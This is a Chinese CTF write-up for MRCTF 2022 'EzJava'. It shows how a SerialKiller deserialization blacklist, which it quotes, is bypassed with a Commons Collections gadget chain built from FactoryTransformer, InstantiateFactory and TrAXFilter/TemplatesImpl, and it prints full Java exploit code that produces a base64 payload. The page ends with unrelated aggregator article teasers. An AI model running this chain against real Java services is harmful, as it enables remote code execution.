MRCTF 2022 EzJava

news/2024/7/6 3:22:10/文章来源:https://www.cnblogs.com/gaorenyusi/p/18282544

MRCTF 2022 EzJava

题目分析

下载附件得到一个 jar 包和一个 waf 配置文件。如果只是为了本地搭建环境,直接启动 jar 包就行了,但是如果需要进行远程调试就需要进行一些配置(这个网上教程很多),这个调试也要看具体需求,能直接打通的话就不需要调试。

但是不管怎么说,第一步肯定都是先解压 jar 包好进行代码审计。

先看依赖:

依赖挺多,不过对于我这个 java 新手不认识几个,但是发现了熟悉的 cc 链依赖。

然后找反序列化的入口 readObject 函数

这里就是获得 body 中的数据进行 base64 解码然后进行反序列化,不过注意到还有个 serialkiller.xml 文件,这是 SerialKiller 依赖的配置文件,也就是刚刚附件中的另一个文件,将其复制进项目的 resource 后进行分析

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config><refresh>6000</refresh><mode><!-- set to 'false' for blocking mode --><profiling>false</profiling></mode><logging><enabled>false</enabled></logging><blacklist><!-- ysoserial's CommonsCollections1,3,5,6 payload  --><regexp>org\.apache\.commons\.collections\.Transformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp><!-- ysoserial's CommonsCollections2,4 payload  --><regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp></blacklist><whitelist><regexp>.*</regexp></whitelist>
</config>

过滤掉了之前学习 cc 链最后要用的所有 transform 方法的类。所以这道题题其实考察的就是最后执行命令部分。

现在需要找的就是有没有其他类的 transform 方法可以利用,来到 transform 接口开始一个一个寻找:

最后找到了 FactoryTransformertransform 方法,后面类的 transform 我也只是粗略的看过,有可能也有利用的地方。

继续看 create 方法,看看哪些可以构成危险。这个 create 方法其实有点太多了,参考文章,最后在 cc 依赖目录下进行寻找就行了

这里非常可疑,看到可以达到实列化的目的,和 cc3 最后十分相像,cc3 最后是调用的 TrAXFilter 的构造函数从而调用到 newTransformer() 进行字节码加载。所以这里的可以利用这个 create 方法调用 TrAXFilter 的构造函数然后进行字节码加载。

exp 构造

先编写出最后执行的 transform 方法

InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});  
FactoryTransformer fa = new FactoryTransformer(ins);

剩下的照搬 cc3 就行了

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.*;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;   
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  
import java.lang.reflect.Field;  
import java.lang.reflect.Modifier;  public class Main {  public static void main(String[] args)throws Exception {  TemplatesImpl tem = new TemplatesImpl();  byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  setValue(tem, "_bytecodes", new byte[][]{code});  setValue(tem, "_tfactory", new TransformerFactoryImpl());  setValue(tem, "_name", "gaoren");  setValue(tem, "_class", null);  InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});  FactoryTransformer fa = new FactoryTransformer(ins);  HashMap map2 = new HashMap();  Map<Object, Object> Lazy = LazyMap.decorate(map2, new ConstantTransformer(1));  Lazy.put("zZ", 1);  TiedMapEntry tie = new TiedMapEntry(Lazy, "aaa");  Hashtable hashtable = new Hashtable();  hashtable.put(tie, 1);  Lazy.remove("aaa");  Class<LazyMap> lazyMapClass = LazyMap.class;  Field factoryField = lazyMapClass.getDeclaredField("factory");  factoryField.setAccessible(true);  factoryField.set(Lazy, fa);  try {  ByteArrayOutputStream out = new ByteArrayOutputStream();  ObjectOutputStream objout = new ObjectOutputStream(out);  objout.writeObject(hashtable);  objout.close();  out.close();  byte[] ObjectBytes = out.toByteArray();  ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes);  ObjectInputStream objin=new ObjectInputStream(in);  objin.readObject();  objin.close();  in.close();  } catch (Exception e) {  e.printStackTrace();  }  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  }  
}

执行测试

测试成功后将其序列化结果进行 base64 编码,

String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/737043.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

逻辑回归求解二分类问题以及SPSS的实现

分类问题就是给出物质的属性,判断其属于什么成分,本文将讲述逻辑回归求解二分类问题 本文着重于模型的实现,对于推导只是概括性的叙述 目录一、问题提出二、逻辑回归函数logistic1.线性线性概率模型2.sigmod函数3.求解方法————极大似然估计4.分类原则三、SPSS实现———…

线上的一次fullgc排查过程

线上服务的GC问题,是Java程序非常典型的一类问题,非常考验工程师排查问题的能力。同时,几乎是面试必考题,但是能真正答好此题的人并不多,要么原理没吃透,要么缺乏实战经验。过去半年时间里,我们的广告系统出现了多次和GC相关的线上问题,有Full GC过于频繁的,有Young G…

基于GWO灰狼优化的LDPC码NMS译码算法最优归一化参数计算和误码率matlab仿真

1.算法仿真效果 matlab2022a仿真结果如下(完整代码运行后无水印):2.算法涉及理论知识概要LDPC码是一种线性错误修正码,以其接近香农极限的优良性能而被广泛应用于现代通信系统中。NMS译码是一种基于最小平方误差准则的软判决译码方法,其目标是找到一个最可能的码字,使得接…

k8s-核心组件

核心组件组成 Kubernetes 主要由以下几个核心组件组成: - etcd :保存整个集群的状态 - API Server:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制 - Controller Manager:负责维护集群的状态,如故障检测、自动扩展、滚动更新等 - Scheduler:…

学习笔记485—Excel技巧:一键将文本数字转换为数值

Excel技巧:一键将文本数字转换为数值在使用Excel进行数据处理时,经常会遇到数据格式不匹配的问题。特别是当从外部导入数据或手动输入数据时,数字可能会被误识别为文本格式,这在进行数据计算和分析时会带来诸多不便。幸运的是,Excel提供了一些便捷的方法,可以帮助我们一键…

使用IDEA给项目打jar包

使用IDEA给项目打jar包参考地址:https://www.cnblogs.com/blog5277/p/5920560.html 感谢作者一、准备一个Java项目并先看看效果 ​ 只想打包,就跳过这一步: 一、准备一个Java项目并先看看效果。 ​ 如果启动jar包遇到报错:无法找到/加载主类就去看看第二步开头。 1、找一…

MCU点灯

MCU点灯 芯片型号:STM32F407ZET6 4个LED灯,网络标号分别为LED0 ,LED1,FSMC D10,FSMC D11。对应的引脚号分别为PF9,PF10,PE12,PE13。原理图//1.定义变量 GPIO_InitTypeDef GPIO_InitStructureF;//F端口 GPIO_InitTypeDef GPIO_InitStructureE;//E端口 int main()//中文注释 …

电子计算机类比赛的“武林秘籍”-电赛光电设计大赛计算机设计大赛嵌入式芯片与系统设计竞赛,你要的都在这里!

本文主要介绍了工科类学生参加比赛的必要性和益处、电子计算机类比赛的基本思路等内容电子计算机类比赛的“武林秘籍”-电赛光电设计大赛计算机设计大赛嵌入式芯片与系统设计竞赛,你要的都在这里! 为什么需要参加电子计算机类比赛 对于实现短期目标而言: 电子计算机类学科竞…

VMware安装CentOS7环境

准备 CentOS7的iso镜像 下载链接:https://mirrors.aliyun.com/centos/7/isos/x86_64/配置步骤 步骤一——创建虚拟机 1、点击创建新的虚拟机2、选择典型3、选择镜像文件4、填写对应信息5、选择虚拟机存储的位置6、存储为单个文件7、创建步骤二——配置centos7 1、打开虚拟机后…

Mybatis执行器

mybatis执行sql语句的操作是由执行器(Executor)完成的,mybatis中一共提供了3种Executor:类型 名称 功能REUSE 重用执行器 缓存PreparedStatement,下一次执行相同的sql可重用BATCH 批量执行器 将修改操作记录在本地,等待程序触发或有下一次查询时才批量执行修改操作SIMPLE…

本地安装seata

1. 下载,解压steata安装包 2. 修改配置里面的端口号 只要是localhost或者不是自己的端口号都更改成自己的端口号3. 修改配置nacos的文件执行 4、数据库中添加对应的表 数据库中的表名称尽量位seata_server,避免后面去修改 5、线上nacos配置 在public 下面进行配置,修改自己对…

关于自定义unordered_set\unordered_map中Hash和KeyEqual:函数对象和lambda表达式简单应用

以unordered_set为例,首先在cppreference中查看其模板定义:可以看到Hash类默认是std::hash<Key,KeyEqual类似,本文将Hash以函数对象写出,将KeyEqual以lambda写出。 class hashvec{public:size_t operator()(const vector<int> & vec) const {return hash<…

Python预测体重变化:决策树、tf神经网络、随机森林、梯度提升树、线性回归可视化分析吸烟与健康调查数据

全文链接:https://tecdat.cn/?p=36648 原文出处:拓端数据部落公众号 在当今的数据驱动时代,机器学习算法已成为解析复杂数据集、揭示隐藏模式及预测未来趋势的重要工具。特别是在医疗健康领域,这些算法的应用极大地提升了我们对疾病预防、诊断及治疗方案的理解与制定能力。…

Nuxt3 的生命周期和钩子函数(九)

摘要:本文介绍了Nuxt3中与Vite相关的五个生命周期钩子,包括vite:extend、vite:extendConfig、vite:configResolved、vite:serverCreated和vite:compiled,展示了如何在每个钩子中扩展Vite配置、读取配置、添加中间件和处理编译事件。每个钩子都有详细的描述和示例代码,帮助开…

地理信息科学:生态保护的智慧经纬

在地球这颗蓝色星球上,每一片森林的呼吸、每一条河流的流淌,都是生命交响曲中不可或缺的音符。而地理信息科学(GIS),正是我们手中解读自然密码、护航生态平衡的精密仪器。今天,让我们深入探讨GIS如何在生物多样性保护和生态系统管理中发挥其不可替代的作用。 🌱 GIS——…

软连接与硬链接

(1)软链接(symbolic link) 创建命令:ln -s <target> <link_name>其中:<target> 是目标文件或目录的路径,可以是相对路径或绝对路径。<link_name> 是要创建的软链接的名称,可以是相对路径或绝对路径。特点:笔试面试填空题和简答题:软链接的特点…

pycharm导入第三方包出现红色波浪线或新建flask项目出现红色波浪线解决办法

设置 -> 项目结构(Project Structure) ,将site-packages设为源代码

开源软件开发平台哪家好?

低代码技术平台、开源软件开发平台哪家好?进行数字化转型,离不开低代码技术平台等软件产品的加持与助力。因为它更好操作、更灵活、易维护等优势特点突出,在推动企业实现流程化办公的过程中助力明显,作用大,深得客户喜爱。那么,低代码技术平台、开源软件开发平台哪家好?…

阿里云 SAE 助力修正商城 3 周内提升系统承载能力 20 倍,轻松应对春晚流量

修正技术团队迫切需要升级 APP 架构以应对即将到来的超高并发场景。这一挑战不仅是对技术的考验,更是对修正品牌实力的一次展示。为了应对这次巨大的技术挑战,修正技术团队选择与阿里云云原生团队合作,进行 APP 架构的升级。作者:赵世振、刘松伟、朱坪" 从了解阿里云 …

使用yum 命令安装 dotnet 6

如果是超级管理员账号root 登录 不需要加 sudo。 sudo rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpmsudo yum install dotnet-sdk-6.0sudo yum install dotnet-runtime-6.0 输入dotnet --info 查看 安装的 dotnet 版本